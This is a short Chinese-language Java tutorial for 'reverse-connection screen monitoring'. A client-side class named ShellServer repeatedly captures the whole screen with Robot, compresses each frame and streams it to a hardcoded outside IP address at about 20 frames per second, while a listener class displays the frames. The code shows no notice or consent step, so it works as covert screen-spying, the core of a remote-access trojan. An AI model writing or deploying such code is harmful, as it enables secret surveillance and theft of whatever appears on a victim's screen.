實作反向連線螢幕監控:被控端主動連線控制端、Robot 擷取螢幕、JPEG 編碼後 ZIP 壓縮傳輸,控制端用 Swing 即時顯示,達到每秒 20 幀。
ServerSocket 監聽,每連線啟動執行緒解壓縮 → ImageIO.read → Swing 繪圖顯示。public class ShellServer extends Thread {
private Robot robot;
private Rectangle screenRect;
public void run() {
while (true) {
Socket socket = new Socket("220.173.44.158", 5000);
BufferedImage img = robot.createScreenCapture(screenRect);
ZipOutputStream zos = new ZipOutputStream(socket.getOutputStream());
zos.setLevel(9);
zos.putNextEntry(new ZipEntry("1.jpg"));
JPEGCodec.createJPEGEncoder(zos).encode(img);
zos.close();
Thread.sleep(50); // 20 FPS
}
}
}
public class ShellClient extends JFrame {
class Screen extends JPanel implements Runnable {
public void run() {
ServerSocket ss = new ServerSocket(5000);
while (true) {
Socket s = ss.accept();
ZipInputStream zis = new ZipInputStream(s.getInputStream());
zis.getNextEntry();
Image img = ImageIO.read(zis); // 解壓縮並解碼
cimage = img;
repaint();
}
}
public void paint(Graphics g) {
super.paint(g);
Graphics2D g2 = (Graphics2D)g;
g2.drawImage(cimage, 0, 0, null);
}
}
}